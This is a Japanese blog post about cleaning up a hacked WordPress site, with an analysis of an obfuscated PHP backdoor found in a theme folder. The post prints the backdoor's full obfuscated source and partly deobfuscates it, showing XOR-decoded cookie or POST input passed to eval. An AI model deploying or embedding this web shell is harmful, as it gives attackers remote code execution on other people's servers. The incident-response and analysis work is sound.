WordPressが何者かによって改ざんされた話

WordPressの改ざん被害についてはちょいちょい起きているのは知っていました。
実際にサーバーまるまる改ざん被害をうけたり(phpファイル全てが改ざんされた)、大体がWordPressの管理がきちんとできていなかったり(WordPressのアップデートを怠ったり)、WordPressのパスワードが簡単すぎたりというのが原因なことが多いのですが、その改ざんパターンも様々なようで、今回はその一つ、evalされちゃう系の改ざん被害をちょっと読み解いてみます。

サイトにアクセスするとセキュリティの警告が出る(Chrome)

s__5120013
サイトにアクセスして、いきなりこんな感じの画面になったらビビりますよね。
そのWordPressサイト、改ざんされてるかもしれません。(SSL/TLSのエラーとかでも出たりするけど)
ちなみに警告のなかに書いてあるURLはアクセスしてるURLとは全く関係ないURLです。

これをみた時、まずはJavaScriptなどが埋め込まれていることを疑い、WordPressのthemeフォルダのheader.phpをみてました。

怪しいJavaScriptを発見

header.phpを注意深くみてみると、ありました。
headの閉じタグの直前にあやしいURL入りのJavaScriptが。。。
それを取り除き、既存の他のテンプレファイルに問題ないことを確認して、鬼の首でもとったかのようにドヤ顔でアクセスし直すと…
一瞬正常に表示された後、またセキュリティ警告が…。
s__5120013

改ざん被害は根が深い

以前に対応したWordPressの改ざんはレンタルサーバーの中のPHPファイルが全て書き換えられてしまうものだったのですが、今回も1ファイル書き換えて終わり!なんてものではありませんでした。
よくよく考えてみればそうですよね。JavaScriptをheader.phpに書き加えたスクリプトがあるはずです。(それかWordPressのテーマ編集機能の悪用)

だとすれば、事態は結構めんどくさいです。

急遽サーバーストップ

原因が特定できるまではWEBアクセスが危険なので、Apacheをストップ。
そして、WordPressユーザー全員のパスワードの変更(または権限の変更)、またデータベースのパスワードも漏れてる可能性があるのでデータベースのユーザーのパスワードを変更した上でMySQLも一旦ストップします。(DBバックアップなどもとっておく。)
そして原因特定です。

幸い改ざん箇所は少なかった。

WordPressのコアが改ざんされている可能性を考え、WordPressは入れ直し。
それ以外のファイルはPHPの改ざんを疑い、ファイルパスをfindコマンドでリストアップ


find . -name "*.php"

すると、最初に疑ったthemeフォルダのなかに怪しいlib.phpというPHPファイルを発見。
完全に見逃してました。。。(だってCSSフォルダだし、PHP隠すとか卑怯でしょ!)
他に怪しいファイルがないことを確認して、、

いざ、ファイルオープン!


<?php
${"\x47\x4c\x4fB\x41\x4c\x53"}['e3984f'] = "\x54\x55\x24\x26\x33\x2d\x52\x5c\x3f\x27\x73\x6b\x22\x39\x59\x45\x5e\x65\x44\x31\x37\x32\x50\x60\x2c\x53\x2a\x4c\x76\x3d\x36\x4e\xa\x41\x57\x77\x4d\x67\x6d\x7d\x3b\x40\x58\x63\x3e\x3c\x21\x49\x5b\x20\x68\x74\x30\x2b\x28\x6c\x5f\x66\x5a\x43\x78\x7e\x38\x7c\x4f\x56\x48\x6e\x34\x70\x2e\x2f\x69\x9\x75\x71\x25\x4a\x4b\x72\x6f\x35\x7b\x29\x61\x23\x5d\x64\x79\x3a\x51\xd\x62\x7a\x6a\x42\x47\x46";
$GLOBALS[$GLOBALS['e3984f'][93].$GLOBALS['e3984f'][57].$GLOBALS['e3984f'][43].$GLOBALS['e3984f'][21].$GLOBALS['e3984f'][84]] = $GLOBALS['e3984f'][43].$GLOBALS['e3984f'][50].$GLOBALS['e3984f'][79];
$GLOBALS[$GLOBALS['e3984f'][79].$GLOBALS['e3984f'][52].$GLOBALS['e3984f'][17].$GLOBALS['e3984f'][30].$GLOBALS['e3984f'][62].$GLOBALS['e3984f'][17]] = $GLOBALS['e3984f'][80].$GLOBALS['e3984f'][79].$GLOBALS['e3984f'][87];
$GLOBALS[$GLOBALS['e3984f'][50].$GLOBALS['e3984f'][4].$GLOBALS['e3984f'][30].$GLOBALS['e3984f'][19]] = $GLOBALS['e3984f'][10].$GLOBALS['e3984f'][51].$GLOBALS['e3984f'][79].$GLOBALS['e3984f'][55].$GLOBALS['e3984f'][17].$GLOBALS['e3984f'][67];
$GLOBALS[$GLOBALS['e3984f'][74].$GLOBALS['e3984f'][21].$GLOBALS['e3984f'][62].$GLOBALS['e3984f'][17].$GLOBALS['e3984f'][43].$GLOBALS['e3984f'][13].$GLOBALS['e3984f'][43].$GLOBALS['e3984f'][52].$GLOBALS['e3984f'][57]] = $GLOBALS['e3984f'][72].$GLOBALS['e3984f'][67].$GLOBALS['e3984f'][72].$GLOBALS['e3984f'][56].$GLOBALS['e3984f'][10].$GLOBALS['e3984f'][17].$GLOBALS['e3984f'][51];
$GLOBALS[$GLOBALS['e3984f'][88].$GLOBALS['e3984f'][19].$GLOBALS['e3984f'][57].$GLOBALS['e3984f'][52].$GLOBALS['e3984f'][19].$GLOBALS['e3984f'][21].$GLOBALS['e3984f'][4]] = $GLOBALS['e3984f'][10].$GLOBALS['e3984f'][17].$GLOBALS['e3984f'][79].$GLOBALS['e3984f'][72].$GLOBALS['e3984f'][84].$GLOBALS['e3984f'][55].$GLOBALS['e3984f'][72].$GLOBALS['e3984f'][93].$GLOBALS['e3984f'][17];
$GLOBALS[$GLOBALS['e3984f'][38].$GLOBALS['e3984f'][62].$GLOBALS['e3984f'][17].$GLOBALS['e3984f'][17].$GLOBALS['e3984f'][30]] = $GLOBALS['e3984f'][69].$GLOBALS['e3984f'][50].$GLOBALS['e3984f'][69].$GLOBALS['e3984f'][28].$GLOBALS['e3984f'][17].$GLOBALS['e3984f'][79].$GLOBALS['e3984f'][10].$GLOBALS['e3984f'][72].$GLOBALS['e3984f'][80].$GLOBALS['e3984f'][67];
$GLOBALS[$GLOBALS['e3984f'][88].$GLOBALS['e3984f'][52].$GLOBALS['e3984f'][81].$GLOBALS['e3984f'][87].$GLOBALS['e3984f'][68].$GLOBALS['e3984f'][68].$GLOBALS['e3984f'][19].$GLOBALS['e3984f'][57].$GLOBALS['e3984f'][92]] = $GLOBALS['e3984f'][74].$GLOBALS['e3984f'][67].$GLOBALS['e3984f'][10].$GLOBALS['e3984f'][17].$GLOBALS['e3984f'][79].$GLOBALS['e3984f'][72].$GLOBALS['e3984f'][84].$GLOBALS['e3984f'][55].$GLOBALS['e3984f'][72].$GLOBALS['e3984f'][93].$GLOBALS['e3984f'][17];
$GLOBALS[$GLOBALS['e3984f'][28].$GLOBALS['e3984f'][17].$GLOBALS['e3984f'][81].$GLOBALS['e3984f'][84].$GLOBALS['e3984f'][21].$GLOBALS['e3984f'][30].$GLOBALS['e3984f'][68].$GLOBALS['e3984f'][20].$GLOBALS['e3984f'][30]] = $GLOBALS['e3984f'][92].$GLOBALS['e3984f'][84].$GLOBALS['e3984f'][10].$GLOBALS['e3984f'][17].$GLOBALS['e3984f'][30].$GLOBALS['e3984f'][68].$GLOBALS['e3984f'][56].$GLOBALS['e3984f'][87].$GLOBALS['e3984f'][17].$GLOBALS['e3984f'][43].$GLOBALS['e3984f'][80].$GLOBALS['e3984f'][87].$GLOBALS['e3984f'][17];
$GLOBALS[$GLOBALS['e3984f'][55].$GLOBALS['e3984f'][57].$GLOBALS['e3984f'][30].$GLOBALS['e3984f'][87]] = $GLOBALS['e3984f'][10].$GLOBALS['e3984f'][17].$GLOBALS['e3984f'][51].$GLOBALS['e3984f'][56].$GLOBALS['e3984f'][51].$GLOBALS['e3984f'][72].$GLOBALS['e3984f'][38].$GLOBALS['e3984f'][17].$GLOBALS['e3984f'][56].$GLOBALS['e3984f'][55].$GLOBALS['e3984f'][72].$GLOBALS['e3984f'][38].$GLOBALS['e3984f'][72].$GLOBALS['e3984f'][51];
$GLOBALS[$GLOBALS['e3984f'][92].$GLOBALS['e3984f'][30].$GLOBALS['e3984f'][20].$GLOBALS['e3984f'][92].$GLOBALS['e3984f'][4].$GLOBALS['e3984f'][68]] = $GLOBALS['e3984f'][10].$GLOBALS['e3984f'][81].$GLOBALS['e3984f'][92].$GLOBALS['e3984f'][81];
$GLOBALS[$GLOBALS['e3984f'][37].$GLOBALS['e3984f'][87].$GLOBALS['e3984f'][21].$GLOBALS['e3984f'][68]] = $GLOBALS['e3984f'][57].$GLOBALS['e3984f'][57].$GLOBALS['e3984f'][17].$GLOBALS['e3984f'][19].$GLOBALS['e3984f'][92].$GLOBALS['e3984f'][17].$GLOBALS['e3984f'][68];
$GLOBALS[$GLOBALS['e3984f'][80].$GLOBALS['e3984f'][43].$GLOBALS['e3984f'][20].$GLOBALS['e3984f'][87].$GLOBALS['e3984f'][4]] = $_POST;
$GLOBALS[$GLOBALS['e3984f'][69].$GLOBALS['e3984f'][4].$GLOBALS['e3984f'][84].$GLOBALS['e3984f'][57]] = $_COOKIE;
@$GLOBALS[$GLOBALS['e3984f'][74].$GLOBALS['e3984f'][21].$GLOBALS['e3984f'][62].$GLOBALS['e3984f'][17].$GLOBALS['e3984f'][43].$GLOBALS['e3984f'][13].$GLOBALS['e3984f'][43].$GLOBALS['e3984f'][52].$GLOBALS['e3984f'][57]]($GLOBALS['e3984f'][17].$GLOBALS['e3984f'][79].$GLOBALS['e3984f'][79].$GLOBALS['e3984f'][80].$GLOBALS['e3984f'][79].$GLOBALS['e3984f'][56].$GLOBALS['e3984f'][55].$GLOBALS['e3984f'][80].$GLOBALS['e3984f'][37], NULL);
@$GLOBALS[$GLOBALS['e3984f'][74].$GLOBALS['e3984f'][21].$GLOBALS['e3984f'][62].$GLOBALS['e3984f'][17].$GLOBALS['e3984f'][43].$GLOBALS['e3984f'][13].$GLOBALS['e3984f'][43].$GLOBALS['e3984f'][52].$GLOBALS['e3984f'][57]]($GLOBALS['e3984f'][55].$GLOBALS['e3984f'][80].$GLOBALS['e3984f'][37].$GLOBALS['e3984f'][56].$GLOBALS['e3984f'][17].$GLOBALS['e3984f'][79].$GLOBALS['e3984f'][79].$GLOBALS['e3984f'][80].$GLOBALS['e3984f'][79].$GLOBALS['e3984f'][10], 0);
@$GLOBALS[$GLOBALS['e3984f'][74].$GLOBALS['e3984f'][21].$GLOBALS['e3984f'][62].$GLOBALS['e3984f'][17].$GLOBALS['e3984f'][43].$GLOBALS['e3984f'][13].$GLOBALS['e3984f'][43].$GLOBALS['e3984f'][52].$GLOBALS['e3984f'][57]]($GLOBALS['e3984f'][38].$GLOBALS['e3984f'][84].$GLOBALS['e3984f'][60].$GLOBALS['e3984f'][56].$GLOBALS['e3984f'][17].$GLOBALS['e3984f'][60].$GLOBALS['e3984f'][17].$GLOBALS['e3984f'][43].$GLOBALS['e3984f'][74].$GLOBALS['e3984f'][51].$GLOBALS['e3984f'][72].$GLOBALS['e3984f'][80].$GLOBALS['e3984f'][67].$GLOBALS['e3984f'][56].$GLOBALS['e3984f'][51].$GLOBALS['e3984f'][72].$GLOBALS['e3984f'][38].$GLOBALS['e3984f'][17], 0);
@$GLOBALS[$GLOBALS['e3984f'][55].$GLOBALS['e3984f'][57].$GLOBALS['e3984f'][30].$GLOBALS['e3984f'][87]](0);

$y2e343 = NULL;
$tee7 = NULL;

$GLOBALS[$GLOBALS['e3984f'][87].$GLOBALS['e3984f'][68].$GLOBALS['e3984f'][87].$GLOBALS['e3984f'][84].$GLOBALS['e3984f'][68].$GLOBALS['e3984f'][62].$GLOBALS['e3984f'][17].$GLOBALS['e3984f'][21]] = $GLOBALS['e3984f'][43].$GLOBALS['e3984f'][20].$GLOBALS['e3984f'][57].$GLOBALS['e3984f'][52].$GLOBALS['e3984f'][19].$GLOBALS['e3984f'][17].$GLOBALS['e3984f'][81].$GLOBALS['e3984f'][13].$GLOBALS['e3984f'][5].$GLOBALS['e3984f'][84].$GLOBALS['e3984f'][13].$GLOBALS['e3984f'][4].$GLOBALS['e3984f'][52].$GLOBALS['e3984f'][5].$GLOBALS['e3984f'][68].$GLOBALS['e3984f'][43].$GLOBALS['e3984f'][4].$GLOBALS['e3984f'][92].$GLOBALS['e3984f'][5].$GLOBALS['e3984f'][84].$GLOBALS['e3984f'][19].$GLOBALS['e3984f'][52].$GLOBALS['e3984f'][20].$GLOBALS['e3984f'][5].$GLOBALS['e3984f'][84].$GLOBALS['e3984f'][92].$GLOBALS['e3984f'][43].$GLOBALS['e3984f'][17].$GLOBALS['e3984f'][84].$GLOBALS['e3984f'][13].$GLOBALS['e3984f'][19].$GLOBALS['e3984f'][92].$GLOBALS['e3984f'][19].$GLOBALS['e3984f'][43].$GLOBALS['e3984f'][62].$GLOBALS['e3984f'][17];
global $d4da48e2;

function ffe1be4($y2e343, $z332f)
{
    $i151ee41a = "";

    for ($m79bd95d=0; $m79bd95d<$GLOBALS[$GLOBALS['e3984f'][50].$GLOBALS['e3984f'][4].$GLOBALS['e3984f'][30].$GLOBALS['e3984f'][19]]($y2e343);)
    {
        for ($b968d13=0; $b968d13<$GLOBALS[$GLOBALS['e3984f'][50].$GLOBALS['e3984f'][4].$GLOBALS['e3984f'][30].$GLOBALS['e3984f'][19]]($z332f) && $m79bd95d<$GLOBALS[$GLOBALS['e3984f'][50].$GLOBALS['e3984f'][4].$GLOBALS['e3984f'][30].$GLOBALS['e3984f'][19]]($y2e343); $b968d13++, $m79bd95d++)
        {
            $i151ee41a .= $GLOBALS[$GLOBALS['e3984f'][93].$GLOBALS['e3984f'][57].$GLOBALS['e3984f'][43].$GLOBALS['e3984f'][21].$GLOBALS['e3984f'][84]]($GLOBALS[$GLOBALS['e3984f'][79].$GLOBALS['e3984f'][52].$GLOBALS['e3984f'][17].$GLOBALS['e3984f'][30].$GLOBALS['e3984f'][62].$GLOBALS['e3984f'][17]]($y2e343[$m79bd95d]) ^ $GLOBALS[$GLOBALS['e3984f'][79].$GLOBALS['e3984f'][52].$GLOBALS['e3984f'][17].$GLOBALS['e3984f'][30].$GLOBALS['e3984f'][62].$GLOBALS['e3984f'][17]]($z332f[$b968d13]));
        }
    }

    return $i151ee41a;
}

function s5b5($y2e343, $z332f)
{
    global $d4da48e2;

    return $GLOBALS[$GLOBALS['e3984f'][37].$GLOBALS['e3984f'][87].$GLOBALS['e3984f'][21].$GLOBALS['e3984f'][68]]($GLOBALS[$GLOBALS['e3984f'][37].$GLOBALS['e3984f'][87].$GLOBALS['e3984f'][21].$GLOBALS['e3984f'][68]]($y2e343, $d4da48e2), $z332f);
}

foreach ($GLOBALS[$GLOBALS['e3984f'][69].$GLOBALS['e3984f'][4].$GLOBALS['e3984f'][84].$GLOBALS['e3984f'][57]] as $z332f=>$s7f72b959)
{
    $y2e343 = $s7f72b959;
    $tee7 = $z332f;
}

if (!$y2e343)
{
    foreach ($GLOBALS[$GLOBALS['e3984f'][80].$GLOBALS['e3984f'][43].$GLOBALS['e3984f'][20].$GLOBALS['e3984f'][87].$GLOBALS['e3984f'][4]] as $z332f=>$s7f72b959)
    {
        $y2e343 = $s7f72b959;
        $tee7 = $z332f;
    }
}

$y2e343 = @$GLOBALS[$GLOBALS['e3984f'][88].$GLOBALS['e3984f'][52].$GLOBALS['e3984f'][81].$GLOBALS['e3984f'][87].$GLOBALS['e3984f'][68].$GLOBALS['e3984f'][68].$GLOBALS['e3984f'][19].$GLOBALS['e3984f'][57].$GLOBALS['e3984f'][92]]($GLOBALS[$GLOBALS['e3984f'][92].$GLOBALS['e3984f'][30].$GLOBALS['e3984f'][20].$GLOBALS['e3984f'][92].$GLOBALS['e3984f'][4].$GLOBALS['e3984f'][68]]($GLOBALS[$GLOBALS['e3984f'][28].$GLOBALS['e3984f'][17].$GLOBALS['e3984f'][81].$GLOBALS['e3984f'][84].$GLOBALS['e3984f'][21].$GLOBALS['e3984f'][30].$GLOBALS['e3984f'][68].$GLOBALS['e3984f'][20].$GLOBALS['e3984f'][30]]($y2e343), $tee7));
if (isset($y2e343[$GLOBALS['e3984f'][84].$GLOBALS['e3984f'][11]]) && $d4da48e2==$y2e343[$GLOBALS['e3984f'][84].$GLOBALS['e3984f'][11]])
{
    if ($y2e343[$GLOBALS['e3984f'][84]] == $GLOBALS['e3984f'][72])
    {
        $m79bd95d = Array(
            $GLOBALS['e3984f'][69].$GLOBALS['e3984f'][28] => @$GLOBALS[$GLOBALS['e3984f'][38].$GLOBALS['e3984f'][62].$GLOBALS['e3984f'][17].$GLOBALS['e3984f'][17].$GLOBALS['e3984f'][30]](),
            $GLOBALS['e3984f'][10].$GLOBALS['e3984f'][28] => $GLOBALS['e3984f'][19].$GLOBALS['e3984f'][70].$GLOBALS['e3984f'][52].$GLOBALS['e3984f'][5].$GLOBALS['e3984f'][19],
        );
        echo @$GLOBALS[$GLOBALS['e3984f'][88].$GLOBALS['e3984f'][19].$GLOBALS['e3984f'][57].$GLOBALS['e3984f'][52].$GLOBALS['e3984f'][19].$GLOBALS['e3984f'][21].$GLOBALS['e3984f'][4]]($m79bd95d);
    }
    elseif ($y2e343[$GLOBALS['e3984f'][84]] == $GLOBALS['e3984f'][17])
    {
        eval($y2e343[$GLOBALS['e3984f'][87]]);
    }
    exit();
}

うぎゃーーー!
難読化されてるー。こいつじゃん絶対!
というわけで、怪しさ満点の難読化済みファイルを発見。
このファイルは解析用に隔離して、他のファイルに問題ないことを確認。
改ざん用のスクリプトはこいつだけだったようです。
問題のスクリプトを取り除いたことで、とりあえず修正はこれで完了。

改ざん用スクリプトを解析してみる

改ざん用スクリプトって言ったってなにしてるかわかったもんじゃないので、とりあえず読み取ってみます。
難読化のよくあるUTF-8とかBASE64Encodeとかそのへんで解読できるべ。
まず一行目。


<?php
${"\x47\x4c\x4fB\x41\x4c\x53"}['e3984f'] = "\x54\x55\x24\x26\x33\x2d\x52\x5c\x3f\x27\x73\x6b\x22\x39\x59\x45\x5e\x65\x44\x31\x37\x32\x50\x60\x2c\x53\x2a\x4c\x76\x3d\x36\x4e\xa\x41\x57\x77\x4d\x67\x6d\x7d\x3b\x40\x58\x63\x3e\x3c\x21\x49\x5b\x20\x68\x74\x30\x2b\x28\x6c\x5f\x66\x5a\x43\x78\x7e\x38\x7c\x4f\x56\x48\x6e\x34\x70\x2e\x2f\x69\x9\x75\x71\x25\x4a\x4b\x72\x6f\x35\x7b\x29\x61\x23\x5d\x64\x79\x3a\x51\xd\x62\x7a\x6a\x42\x47\x46";

これはスクリプトで使う文字をただ並べてるだけですね。
WEBサービス「テキスト処理ツール-エンコード / デコードhttp://so-zou.jp/web-app/text/encode-decode/)」を利用させていただきました。


<?php
$GLOBALS['e3984f'] = "TU$&3-R\?'sk"9YE^eD172P`,S*Lv=6N\xaAWwMgm};@Xc><!I[ ht0+(l_fZCx~8|OVHn4p./i\x9uq%JKro5{)a#]dy:Q\xdbzjBGF";

これ自体に意味はないですね。WordPress系の改ざんだと最終的にevalさせるんですが、そこで使う文字列を定義してたりします。(今回のやつはPOSTされたものつかってるっぽい。)

次行きましょう。


$GLOBALS[$GLOBALS['e3984f'][93].$GLOBALS['e3984f'][57].$GLOBALS['e3984f'][43].$GLOBALS['e3984f'][21].$GLOBALS['e3984f'][84]] = $GLOBALS['e3984f'][43].$GLOBALS['e3984f'][50].$GLOBALS['e3984f'][79];
$GLOBALS[$GLOBALS['e3984f'][79].$GLOBALS['e3984f'][52].$GLOBALS['e3984f'][17].$GLOBALS['e3984f'][30].$GLOBALS['e3984f'][62].$GLOBALS['e3984f'][17]] = $GLOBALS['e3984f'][80].$GLOBALS['e3984f'][79].$GLOBALS['e3984f'][87];
$GLOBALS[$GLOBALS['e3984f'][50].$GLOBALS['e3984f'][4].$GLOBALS['e3984f'][30].$GLOBALS['e3984f'][19]] = $GLOBALS['e3984f'][10].$GLOBALS['e3984f'][51].$GLOBALS['e3984f'][79].$GLOBALS['e3984f'][55].$GLOBALS['e3984f'][17].$GLOBALS['e3984f'][67];
$GLOBALS[$GLOBALS['e3984f'][74].$GLOBALS['e3984f'][21].$GLOBALS['e3984f'][62].$GLOBALS['e3984f'][17].$GLOBALS['e3984f'][43].$GLOBALS['e3984f'][13].$GLOBALS['e3984f'][43].$GLOBALS['e3984f'][52].$GLOBALS['e3984f'][57]] = $GLOBALS['e3984f'][72].$GLOBALS['e3984f'][67].$GLOBALS['e3984f'][72].$GLOBALS['e3984f'][56].$GLOBALS['e3984f'][10].$GLOBALS['e3984f'][17].$GLOBALS['e3984f'][51];
$GLOBALS[$GLOBALS['e3984f'][88].$GLOBALS['e3984f'][19].$GLOBALS['e3984f'][57].$GLOBALS['e3984f'][52].$GLOBALS['e3984f'][19].$GLOBALS['e3984f'][21].$GLOBALS['e3984f'][4]] = $GLOBALS['e3984f'][10].$GLOBALS['e3984f'][17].$GLOBALS['e3984f'][79].$GLOBALS['e3984f'][72].$GLOBALS['e3984f'][84].$GLOBALS['e3984f'][55].$GLOBALS['e3984f'][72].$GLOBALS['e3984f'][93].$GLOBALS['e3984f'][17];
$GLOBALS[$GLOBALS['e3984f'][38].$GLOBALS['e3984f'][62].$GLOBALS['e3984f'][17].$GLOBALS['e3984f'][17].$GLOBALS['e3984f'][30]] = $GLOBALS['e3984f'][69].$GLOBALS['e3984f'][50].$GLOBALS['e3984f'][69].$GLOBALS['e3984f'][28].$GLOBALS['e3984f'][17].$GLOBALS['e3984f'][79].$GLOBALS['e3984f'][10].$GLOBALS['e3984f'][72].$GLOBALS['e3984f'][80].$GLOBALS['e3984f'][67];
$GLOBALS[$GLOBALS['e3984f'][88].$GLOBALS['e3984f'][52].$GLOBALS['e3984f'][81].$GLOBALS['e3984f'][87].$GLOBALS['e3984f'][68].$GLOBALS['e3984f'][68].$GLOBALS['e3984f'][19].$GLOBALS['e3984f'][57].$GLOBALS['e3984f'][92]] = $GLOBALS['e3984f'][74].$GLOBALS['e3984f'][67].$GLOBALS['e3984f'][10].$GLOBALS['e3984f'][17].$GLOBALS['e3984f'][79].$GLOBALS['e3984f'][72].$GLOBALS['e3984f'][84].$GLOBALS['e3984f'][55].$GLOBALS['e3984f'][72].$GLOBALS['e3984f'][93].$GLOBALS['e3984f'][17];
$GLOBALS[$GLOBALS['e3984f'][28].$GLOBALS['e3984f'][17].$GLOBALS['e3984f'][81].$GLOBALS['e3984f'][84].$GLOBALS['e3984f'][21].$GLOBALS['e3984f'][30].$GLOBALS['e3984f'][68].$GLOBALS['e3984f'][20].$GLOBALS['e3984f'][30]] = $GLOBALS['e3984f'][92].$GLOBALS['e3984f'][84].$GLOBALS['e3984f'][10].$GLOBALS['e3984f'][17].$GLOBALS['e3984f'][30].$GLOBALS['e3984f'][68].$GLOBALS['e3984f'][56].$GLOBALS['e3984f'][87].$GLOBALS['e3984f'][17].$GLOBALS['e3984f'][43].$GLOBALS['e3984f'][80].$GLOBALS['e3984f'][87].$GLOBALS['e3984f'][17];
$GLOBALS[$GLOBALS['e3984f'][55].$GLOBALS['e3984f'][57].$GLOBALS['e3984f'][30].$GLOBALS['e3984f'][87]] = $GLOBALS['e3984f'][10].$GLOBALS['e3984f'][17].$GLOBALS['e3984f'][51].$GLOBALS['e3984f'][56].$GLOBALS['e3984f'][51].$GLOBALS['e3984f'][72].$GLOBALS['e3984f'][38].$GLOBALS['e3984f'][17].$GLOBALS['e3984f'][56].$GLOBALS['e3984f'][55].$GLOBALS['e3984f'][72].$GLOBALS['e3984f'][38].$GLOBALS['e3984f'][72].$GLOBALS['e3984f'][51];
$GLOBALS[$GLOBALS['e3984f'][92].$GLOBALS['e3984f'][30].$GLOBALS['e3984f'][20].$GLOBALS['e3984f'][92].$GLOBALS['e3984f'][4].$GLOBALS['e3984f'][68]] = $GLOBALS['e3984f'][10].$GLOBALS['e3984f'][81].$GLOBALS['e3984f'][92].$GLOBALS['e3984f'][81];
$GLOBALS[$GLOBALS['e3984f'][37].$GLOBALS['e3984f'][87].$GLOBALS['e3984f'][21].$GLOBALS['e3984f'][68]] = $GLOBALS['e3984f'][57].$GLOBALS['e3984f'][57].$GLOBALS['e3984f'][17].$GLOBALS['e3984f'][19].$GLOBALS['e3984f'][92].$GLOBALS['e3984f'][17].$GLOBALS['e3984f'][68];
$GLOBALS[$GLOBALS['e3984f'][80].$GLOBALS['e3984f'][43].$GLOBALS['e3984f'][20].$GLOBALS['e3984f'][87].$GLOBALS['e3984f'][4]] = $_POST;
$GLOBALS[$GLOBALS['e3984f'][69].$GLOBALS['e3984f'][4].$GLOBALS['e3984f'][84].$GLOBALS['e3984f'][57]] = $_COOKIE;

こいつらめんどくせー。
上の羅列と対応させて読み解きます。(PHPさん処理お願いします!)


$GLOBALS["zfc2a"] = "chr";
$GLOBALS["r0e68e"] = "ord";
$GLOBALS["h361"] = "strlen";
$GLOBALS["u28ec9c0f"] = "ini_set";
$GLOBALS["y1f0123"] = "serialize";
$GLOBALS["m8ee6"] = "phpversion";
$GLOBALS["y05d441fb"] = "unserialize";
$GLOBALS["ve5a26476"] = "base64_decode";
$GLOBALS["1f6d"] = "set_time_limit";
$GLOBALS["b67b34"] = "s5b5";
$GLOBALS["gd24"] = "ffe1be4";

$GLOBALS["oc7d3"] = $_POST;
$GLOBALS["p3af"] = $_COOKIE;

Functionの定義とか、変数の代入がメインですね。
難読化以外の意味はなさそうです。


@$GLOBALS[$GLOBALS['e3984f'][74].$GLOBALS['e3984f'][21].$GLOBALS['e3984f'][62].$GLOBALS['e3984f'][17].$GLOBALS['e3984f'][43].$GLOBALS['e3984f'][13].$GLOBALS['e3984f'][43].$GLOBALS['e3984f'][52].$GLOBALS['e3984f'][57]]($GLOBALS['e3984f'][17].$GLOBALS['e3984f'][79].$GLOBALS['e3984f'][79].$GLOBALS['e3984f'][80].$GLOBALS['e3984f'][79].$GLOBALS['e3984f'][56].$GLOBALS['e3984f'][55].$GLOBALS['e3984f'][80].$GLOBALS['e3984f'][37], NULL);
@$GLOBALS[$GLOBALS['e3984f'][74].$GLOBALS['e3984f'][21].$GLOBALS['e3984f'][62].$GLOBALS['e3984f'][17].$GLOBALS['e3984f'][43].$GLOBALS['e3984f'][13].$GLOBALS['e3984f'][43].$GLOBALS['e3984f'][52].$GLOBALS['e3984f'][57]]($GLOBALS['e3984f'][55].$GLOBALS['e3984f'][80].$GLOBALS['e3984f'][37].$GLOBALS['e3984f'][56].$GLOBALS['e3984f'][17].$GLOBALS['e3984f'][79].$GLOBALS['e3984f'][79].$GLOBALS['e3984f'][80].$GLOBALS['e3984f'][79].$GLOBALS['e3984f'][10], 0);
@$GLOBALS[$GLOBALS['e3984f'][74].$GLOBALS['e3984f'][21].$GLOBALS['e3984f'][62].$GLOBALS['e3984f'][17].$GLOBALS['e3984f'][43].$GLOBALS['e3984f'][13].$GLOBALS['e3984f'][43].$GLOBALS['e3984f'][52].$GLOBALS['e3984f'][57]]($GLOBALS['e3984f'][38].$GLOBALS['e3984f'][84].$GLOBALS['e3984f'][60].$GLOBALS['e3984f'][56].$GLOBALS['e3984f'][17].$GLOBALS['e3984f'][60].$GLOBALS['e3984f'][17].$GLOBALS['e3984f'][43].$GLOBALS['e3984f'][74].$GLOBALS['e3984f'][51].$GLOBALS['e3984f'][72].$GLOBALS['e3984f'][80].$GLOBALS['e3984f'][67].$GLOBALS['e3984f'][56].$GLOBALS['e3984f'][51].$GLOBALS['e3984f'][72].$GLOBALS['e3984f'][38].$GLOBALS['e3984f'][17], 0);
@$GLOBALS[$GLOBALS['e3984f'][55].$GLOBALS['e3984f'][57].$GLOBALS['e3984f'][30].$GLOBALS['e3984f'][87]](0);

$y2e343 = NULL;
$tee7 = NULL;

こいつらも同じかな?
とりあえず変換!


@ini_set("error_log",NULL);
@ini_set("log_errors", 0);
@ini_set(max_execution_time, 0);
@set_time_limit(0);

$y2e343 = NULL;
$tee7 = NULL;

おいおい、エラーログ無効化とか実行時間制限解除とかめんどくさいことしてくれてるね。
普通はPHPはphp.iniで30秒〜60秒程度の実行時間制限つけるんだけど、もっと壮大なことがしたいみたいです。
どんどんいきます。


$GLOBALS[$GLOBALS['e3984f'][87].$GLOBALS['e3984f'][68].$GLOBALS['e3984f'][87].$GLOBALS['e3984f'][84].$GLOBALS['e3984f'][68].$GLOBALS['e3984f'][62].$GLOBALS['e3984f'][17].$GLOBALS['e3984f'][21]] = $GLOBALS['e3984f'][43].$GLOBALS['e3984f'][20].$GLOBALS['e3984f'][57].$GLOBALS['e3984f'][52].$GLOBALS['e3984f'][19].$GLOBALS['e3984f'][17].$GLOBALS['e3984f'][81].$GLOBALS['e3984f'][13].$GLOBALS['e3984f'][5].$GLOBALS['e3984f'][84].$GLOBALS['e3984f'][13].$GLOBALS['e3984f'][4].$GLOBALS['e3984f'][52].$GLOBALS['e3984f'][5].$GLOBALS['e3984f'][68].$GLOBALS['e3984f'][43].$GLOBALS['e3984f'][4].$GLOBALS['e3984f'][92].$GLOBALS['e3984f'][5].$GLOBALS['e3984f'][84].$GLOBALS['e3984f'][19].$GLOBALS['e3984f'][52].$GLOBALS['e3984f'][20].$GLOBALS['e3984f'][5].$GLOBALS['e3984f'][84].$GLOBALS['e3984f'][92].$GLOBALS['e3984f'][43].$GLOBALS['e3984f'][17].$GLOBALS['e3984f'][84].$GLOBALS['e3984f'][13].$GLOBALS['e3984f'][19].$GLOBALS['e3984f'][92].$GLOBALS['e3984f'][19].$GLOBALS['e3984f'][43].$GLOBALS['e3984f'][62].$GLOBALS['e3984f'][17];
global $d4da48e2;

これは

$GLOBALS['d4da48e2'] = "c7f01e59-a930-4c3b-a107-abcea91b1c8e";
global $d4da48e2;

こうなる。なんか俺だけが悪いことできるトークンとかそんなとこでしょうか。
悪いやつなりのポリシーみたいなのがあるのかな?

こっから先は実際の実行部分です。
もう変換後のだけ載せます。


function ffe1be4($y2e343, $z332f) {
	$i151ee41a = "";

	for ($m79bd95d=0; $m79bd95d<strlen($y2e343);) {
		for ($b968d13=0; $b968d13<strlen($z332f) && $m79bd95d<strlen($y2e343); $b968d13++, $m79bd95d++) {
			$i151ee41a .= chr(ord($y2e343[$m79bd95d]) ^ ord($z332f[$b968d13]));
		}
	}

	return $i151ee41a;
}

function s5b5($y2e343, $z332f) {
	global $d4da48e2;
	return ffe1be4(ffe1be4($y2e343, $d4da48e2), $z332f);
}

